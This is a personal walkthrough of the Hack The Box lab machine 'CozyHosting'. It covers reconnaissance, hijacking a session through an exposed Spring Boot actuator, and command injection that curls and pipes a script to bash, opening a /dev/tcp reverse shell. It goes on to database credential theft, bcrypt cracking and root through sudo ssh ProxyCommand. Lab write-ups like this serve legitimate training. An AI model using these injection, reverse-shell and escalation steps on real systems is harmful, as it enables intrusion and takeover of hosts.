

CozyHosting (HTB)

ip of the machine :- 10.129.2.185

```
~/current (4.096s)
ping 10.129.2.185 -c 5

PING 10.129.2.185 (10.129.2.185) 56(84) bytes of data.
64 bytes from 10.129.2.185: icmp_seq=1 ttl=63 time=76.2 ms
64 bytes from 10.129.2.185: icmp_seq=2 ttl=63 time=77.0 ms
64 bytes from 10.129.2.185: icmp_seq=3 ttl=63 time=76.4 ms
64 bytes from 10.129.2.185: icmp_seq=4 ttl=63 time=74.3 ms
64 bytes from 10.129.2.185: icmp_seq=5 ttl=63 time=75.8 ms

--- 10.129.2.185 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 74.306/75.939/76.998/0.907 ms
```

machine is on!!!

```
~/current (6.912s)
nmap -p- --min-rate=10000 10.129.2.185

Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-16 21:27 IST
Nmap scan report for 10.129.2.185
Host is up (0.073s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds
```

Got two open ports as usual...

```
~/current (9.068s)
nmap -p 22,80 -sC -A -Pn 10.129.2.185

Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-16 21:28 IST
Nmap scan report for 10.129.2.185
Host is up (0.075s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp    open  http      nginx 1.18.0 (Ubuntu)
|_ http-server-header: nginx/1.18.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds
```

Did an aggressive scan and found the version of the services running on the ports...



10.129.2.185



The proxy server is refusing connections

Firefox is configured to use a proxy server that is refusing connections.

- Check the proxy settings to make sure that they are correct.
- Contact your network administrator to make sure the proxy server is working.

Try Again

adding ip in /etc/hosts file..



cozyhosting.htb



Cozy Hosting



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Get Started →





It's like a hosting website or somethin'

```
admin          [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 583ms]
asdfjkl;       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 77ms]
error          [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 89ms]
index          [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 209ms]
logout         [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 173ms]
login          [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 1154ms]
:: Progress: [20469/20469] :: Job [1/1] :: 178 req/sec :: Duration: [0:01:29] :: Errors: 0 ::
```

Found some directories, let's explore them...



cozyhosting.htb/login



Login to Your Account

Username

Password

☐ Remember me

Login

Designed by BootstrapMade

Found a login page in /admin and same in /login and /logout but admin:admin didn't work so, let's find out another way to get in.



So went to /error and it gave a Whitelabel error...

Google

Whitelabel Error Page

All Images Videos Shopping Web News Maps More Tools

Spring Boot 500 Chrome 404 Exploit 401 Java Localhost Eclipse

Stack Overflow
https://stackoverflow.com › questions › spring-boot-re...

Spring Boot Remove Whitelabel Error Page

To switch it off you can set `error.whitelabel.enabled=false` should be. To switch it off you can set `server.error.whitelabel.enabled=false`.

19 answers · Top answer: You need to change your code to the following: `@RestController pu...`

Getting error "**Whitelabel Error Page**" while running localhost ... 17 Sept 2021

I keep getting a **Whitelabel Error Page** when running Spring ... 22 Feb 2021

java - Spring Boot **Whitelabel Error page** (type=Internal Server ... 15 Jul 2021

How to disable **whitelabel error page** in application.yaml ... 10 Mar 2021

More results from stackoverflow.com

So a whitelabel error page is in spring boot application, so does that mean it is running spring boot on back end??

~/current (0.934s)

ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt

```
/'___\  /'___\  /'___\
/\  \_/\  /\  \_/\  \_/\
\ \  ,___\ \ \  ,___\ \ \  ,___\
\ \  \_/\  \ \  \_/\  \ \  \_/\
\ \  \_/\  \ \  \_/\  \ \  \_/\
\ \  \_/\  \ \  \_/\  \ \  \_/\
\ \  \_/\  \ \  \_/\  \ \  \_/\
```

v2.1.0-dev

```
-----
:: Method           : GET
:: URL              : http://cozyhosting.htb/FUZZ
:: Wordlist          : FUZZ: /usr/share/seclists/Discovery/Web-Content/spring-boot.txt
:: Follow redirects : false
:: Calibration       : false
:: Timeout           : 10
:: Threads           : 40
:: Matcher           : Response status: 200-299,301,302,307,401,403,405,500
-----
```

```
-----
actuator/sessions      [Status: 200, Size: 148, Words: 1, Lines: 1, Duration: 191ms]
actuator               [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 429ms]
actuator/env           [Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 475ms]
actuator/env/path      [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 376ms]
actuator/env/home      [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 492ms]
actuator/env/lang      [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 388ms]
actuator/health        [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 447ms]
actuator/mappings      [Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 472ms]
actuator/beans         [Status: 200, Size: 127224, Words: 542, Lines: 1, Duration: 586ms]
:: Progress: [112/112] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
-----
```

So used ffuf to find common spring boot directories and files and got some...

People also ask :

What is a Spring Boot actuator for?



The actuator mainly **exposes operational information about the running application** — health, metrics, info, dump, env, etc. It uses HTTP endpoints or JMX beans to enable us to interact with it. 23 Aug 2024



Baeldung

<https://www.baeldung.com/spring-boot-actuators>

Spring Boot Actuator | Baeldung

So directory actuator was exposed and it's further files, so searched for what is actuator so it revealed that how spring boot application are actually working or simply operation info. which is interesting.

```
▼ self:
  href:      "http://localhost:8080/actuator"
  templated: false
▼ sessions:
  href:      "http://localhost:8080/actuator/sessions"
  templated: false
▼ beans:
  href:      "http://localhost:8080/actuator/beans"
  templated: false
▼ health-path:
  href:      "http://localhost:8080/actuator/health"
  templated: true
▼ health:
  href:      "http://localhost:8080/actuator/health"
  templated: false
▼ env:
  href:      "http://localhost:8080/actuator/env"
  templated: false
▼ env-toMatch:
  href:      "http://localhost:8080/actuator/env-toMatch"
  templated: true
▼ mappings:
  href:      "http://localhost:8080/actuator/mappings"
  templated: false
```

Got a lot in actuator to explore and sessions look pretty interesting for possible session cookies...

JSON		Raw Data	Headers
Save	Copy	Collapse All	Expand All
		Filter JSON	
64582B4CF99F4FA1E9216903350EE8D1:		"kanderson"	

Got a session cookie in /actuator/sessions...

The screenshot shows a web browser at the URL `cozyhosting.htb`. The website has a dark theme and features the text: "Cozy Hosting", "We offer modern solutions for growing your business", "Host a project of any size and complexity with Cozy Hosting", and a "Get Started →" button. An illustration on the right shows people interacting with a large screen and server racks. The browser's developer tools are open, displaying the "Storage" tab. The left sidebar lists storage types: Cache Storage, Cookies, Indexed DB, Local Storage, and Session Storage. The "Cookies" section is expanded, showing a table of cookies for the domain `http://cozyhosting.htb`.

Name	Value	Domain	Path	Expires / Max-Age	Size	HttpOnly	Secure	SameSite
JSESSIONID	2161CAC80DE66ED08768688341562C10C	cozyhosting.htb	/	Session	42	true	false	None

So added the session cookie and now we can see there is no login page coming so let's go for `/admin...`

← → ↻ cozyhosting.htb/admin ☆

Cozy Cloud

Admin Dashboard

Recent Sales | Today

#	Host	Description	Cost	Status
#2457	suspicious mcnulty	Static content	\$64	Patched
#2147	boring mahavira	API server	\$47	Pending
#2049	stolz varahamihira	Metrics backend	\$147	Patched
#2644	tender mirzakhani	Website	\$67	Not patched
#2644	sleepy mcclintock	Administrator panel	\$165	Patched
#2644	cranky mcnulty	Test runner	\$82	Not patched
#2644	goofy kalam	CI/CD	\$99	Patched
#2644	reverent archimedes	Test pipeline	\$24	Patched
#2644	awesome lalande	Dev environment	\$53	Not patched

Running software | Today

Pending scan
Up to date
Patched

Include host into automatic patching

Please note

For Cozy Scanner to connect the private key that you received upon registration should be included in your host's .ssh/authorised_keys file.

Connection settings

Hostname

Got in /admin now...

```
~/current
python -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.2.185 - - [16/Oct/2024 22:04:08] code 404, message File not found
10.129.2.185 - - [16/Oct/2024 22:04:08] "GET /@test HTTP/1.1" 404 -
```

we can reach the machine by using curl command in the input fields.....


```
~/current (0.034s)
cat rev.sh

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.42/9999 0>&1
```

made a rev.sh script and curled it on the web interface..

test;curl

*IFS*http://10.10.14.42:9999/rev.sh|bash; So we curled and got rev shell in the server and executed it with {IFS} for no inverted comma arguments...

```
~/current
nc -lnvp 9999

Listening on 0.0.0.0 9999
Connection received on 10.129.2.185 47154
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
app@cozyhosting:/app$
```

got rev shell...

```
app@cozyhosting:/app$ ls
ls
cloudhosting-0.0.1.jar
app@cozyhosting:/app$
```

Found a file in which we reverse shell'd...

```
app@cozyhosting:/tmp/cloud/BOOT-INF/classes$ cat application.properties
cat application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxRapp@cozyhosting:/tmp/cloud/BOOT-INF/classes$
```

So extracted the jar file using unzip command and then started digging in the extracted stuff and found a file with credentials to postgres sql database. So this machine is running postgres sql in the back end as the database. Let's try to login in the database then...

```
app@cozyhosting:/tmp/cloud/B00T-INF/classes$ psql -U postgres -W
psql -U postgres -W
Password: Vg&nvzAQ7XxR

psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL: Peer authentication failed for user "postgres"
app@cozyhosting:/tmp/cloud/B00T-INF/classes$ psql -h 127.0.0.1 -U postgres
psql -h 127.0.0.1 -U postgres
Password for user postgres: Vg&nvzAQ7XxR

psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=#
```

Logged in into postgres sql database server...


```

postgres=# \connect cozyhosting
          \connect cozyhosting
\connect cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
              \dt

\dt
WARNING: terminal is not fully functional
Press RETURN to continue

              List of relations
 Schema | Name  | Type  | Owner
-----+-----+-----+-----
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

(END)

```

Connected to cozyhosing database and it showed two tables...

```

      name      | password | role
-----+-----+-----
--
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWLWXpij1NVNV3Mm6eH58zim | User
admin      | $2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm | Admi
n
(2 rows)

(END)

```

Got two hashes.... Let's try to crack them...

```
$2a$10$SpKYdHLB0FOaT7n3×72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm:manchesterunited

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target.....: $2a$10$SpKYdHLB0FOaT7n3×72wtuS0yR8uqqbNNpIPjUb2MZib ... kV08dm
Time.Started.....: Thu Oct 17 22:35:14 2024 (1 min, 13 secs)
Time.Estimated...: Thu Oct 17 22:36:27 2024 (0 secs)
Hashes Found.....: 1
Errors.....: 0
```

Cracked password of the admin...

```
app@cozyhosting:/home$ ls -al
total 12
drwxr-xr-x  3 root root 4096 May 18  2023 .
drwxr-xr-x 19 root root 4096 Aug 14  2023 ..
drwxr-x---  3 josh josh 4096 Aug  8  2023 josh
app@cozyhosting:/home$
```

there is only one user josh in the system. So maybe josh is the admin...

```
app@cozyhosting:/home$ su josh
su josh
Password: manchesterunited
manchesterunited

josh@cozyhosting:/home$
```

was write, logged in as user "josh"...

```
josh@cozyhosting:/home$ cd
                        cd
cd
josh@cozyhosting:~$ ls
                        ls
ls
user.txt
josh@cozyhosting:~$
```

Got our first flag...

```
josh@cozyhosting:~$ sudo -l
                        sudo -l

sudo -l
[sudo] password for josh: manchesterunited
                        manchesterunited

Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$
```

use can only run /usr/bin/ssh as root...

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Spawn interactive root shell through ProxyCommand option.

```
sudo ssh -o ProxyCommand='sh 0<&2 1>&2' x
```

So went to GTF0bins and found the solution of how to escalate privileges...


```
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
cd /root
# ls
ls
ls
root.txt
#
```

Escalated privileges and as well as got our last flag...